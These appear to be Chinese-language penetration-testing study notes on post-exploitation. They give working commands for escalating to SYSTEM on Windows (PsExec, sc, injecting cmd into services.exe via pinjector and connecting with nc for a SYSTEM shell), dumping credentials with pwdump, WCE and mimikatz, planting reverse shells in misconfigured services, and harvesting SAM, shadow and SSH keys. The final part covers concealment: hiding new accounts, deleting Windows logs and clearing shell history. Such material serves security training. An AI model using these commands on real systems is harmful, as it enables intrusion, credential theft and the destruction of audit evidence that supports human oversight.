本地提权 系统账号之间的权限隔离 操作系统安全的基础 用户空间、内核空间 系统账号 用户账号登陆时获取权限令牌 服务账号无需用户登陆已在后台启动服务
windows的账户有user(平时创建的账户类型)、Administrator 管理员、system系统账户 linux的账户有user(同上)、root(等同于Windows的admin+system)
windows admin提权为system: sysinternal suite:使用sysinternal suite中的PsExec工具,cmd在工具exe所在目录psexec -i -s -d cmd即可调出system权限的cmd at命令:at 19:39 /interactive cmd (XP可用 以上系统不可用) sc命令:sc create syscmd binPath= ”cmd /k start” type= own type= interact sc start syscmd(此方法win7使用有安全提示 需要在图形界面操作 也等于不可用)
注入进程提权: 使用pinjector.exe,将cmd注入到现有的进程里,注入的进程是什么账户的,就会获得什么账户 pinjector.exe -p 656 cmd 5555 将cmd注入到PID是656的进程里(此时656是SYSTEM账户的services.exe服务),并开放侦听5555端口,随后在kali直接nc -nv [IP] 5555 就可以获得到windows的shell并且是SYSTEM账户权限 注入进程很隐蔽,不会多出一个进程,会隐藏在现有进程里,不会被发现
抓包嗅探 抓取网络数据包中明文的密码 windows:sniffpass linux:dsniff(kali自带) 键盘记录:keylogger、木马窃取
本地缓存密码 浏览器缓存的密码 ie浏览器 firefox 网络密码 无线密码 http://www.nirsoft.net 各种发现密码工具
使用pwdump工具获取windows的密文保存密码的文件SAM中的内容,随后可以使用密码破解工具进行破解 工具在/usr/share/windows-binaries/fgdump/(目录里的fgdump也是密码相关的工具,在windows下运行后会生成三个文件,用记事本打开查看内容)
WCE查看内存中存放的密码,有明文和密文两种存放形式,wce-universal.exe -w可查看登陆过的账户的明文密码,需要有管理员权限,小心对系统有破坏作用,防止WCE查看明文密码需要在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages 中删除wdigest这一行,注意不要留空行 删干净。
mimikatz 在/usr/share/windows-resources/mimikatz,在cmd中使用,使用::查看各种功能命令
利用漏洞提权 ms11-080 pyinstaller pywin32 ms11-046
利用配置不当提权 将系统中拥有管理员的程序或服务 替换或附加上反向shell等 使程序或服务在下次打开后完成提权
基本信息收集 Linux • /etc/resolv.conf 查看dns配置,进行dns劫持等 • /etc/passwd 查看这台电脑的所有用户 • /etc/shadow 查看密文形式的密码 只有root可以查看 对密文进行离线暴力破解 • whoami, who –a • ifconfig -a, iptables -L -n防火墙、隧道, netstat –rn网关、路由 地址欺骗 • uname –a系统版本, ps aux列出当前所有进程 • dpkg -l列出所有已安装软件包 ii已安装 r已删除c仅存配置 Windows • ipconfig /all , ipconfig /displaydns根据TTL可以了解到经常访问的服务器, netstat -bnao , netstat –r • net view , net view /domain 查看共享 • net user /domain, net user %username% /domain • net accounts, net share • net localgroup administrators username /add 将username加入到管理员组 • net group “Domain Controllers” /domain 查看Domain Controllers组里的账号,就是看谁是域控制器 • net share name$=C:\ /unlimited最大权限把C盘共享出去 • net user username /active:yes /domain 把锁住的账号启用起来 WMIC(WINDOWS MANAGEMENT INSTRUMENTATION) • wmic nicconfig get ipaddress,macaddress • wmic computersystemget username • wmic netlogin get name,lastlogon 查看登录时间 • wmic process get caption, executablepath,commandline 查看进程由什么命令启动 • wmic process where name=“calc.exe" call terminate 结束进程 • wmic os get name,servicepackmajorversion • wmic product get name,version • wmic product where name=“name” call uninstall /nointeractive • wmic share get /ALL • wmic /node:“远程主机名或者去引号填localhost” path Win32_TerminalServiceSetting where AllowTSConnections=“0” call SetAllowTSConnections"1"启用远程桌面 • wmic nteventlogget path,filename, writeable 查看系统日志对应的文件
收集敏感数据 商业信息 系统信息 Linux • /etc ;/usr/local/etc 配置文件 • /etc/password ;/etc/shadow • .ssh ;.gnupg 公私钥 • The e-mail and data files • 业务数据库 ;身份认证服务器数据库 • /tmp windows • SAM 数据库 ; 注册表文件 • %SYSTEMROOT%\repair\SAM • %SYSTEMROOT%\System32\config\RegBack\SAM • 业务数据库 ; 身份认证数据库 • 临时文件目录 • UserProfile\AppData\Local\Microsoft\Windows\Temporary Internet Files\
隐藏痕迹 Windows: 禁止在登陆界面显示新建账号 reg add “hkey_local_machine/software/microsoft/windowsNT/currentversion/winlogon/specialaccounts/userlist” /v uname /treg_dword /d 0 del %windir%/*.log /a/s/q/f Linux: history -c 清空命令记录 巧用chattr 例如给history加i属性,禁止写入、删除 日志: auth.log / secure 这两个是文档类型 btmp / wtmp lastlog / faillog 这四个是命令 其他日志和hids等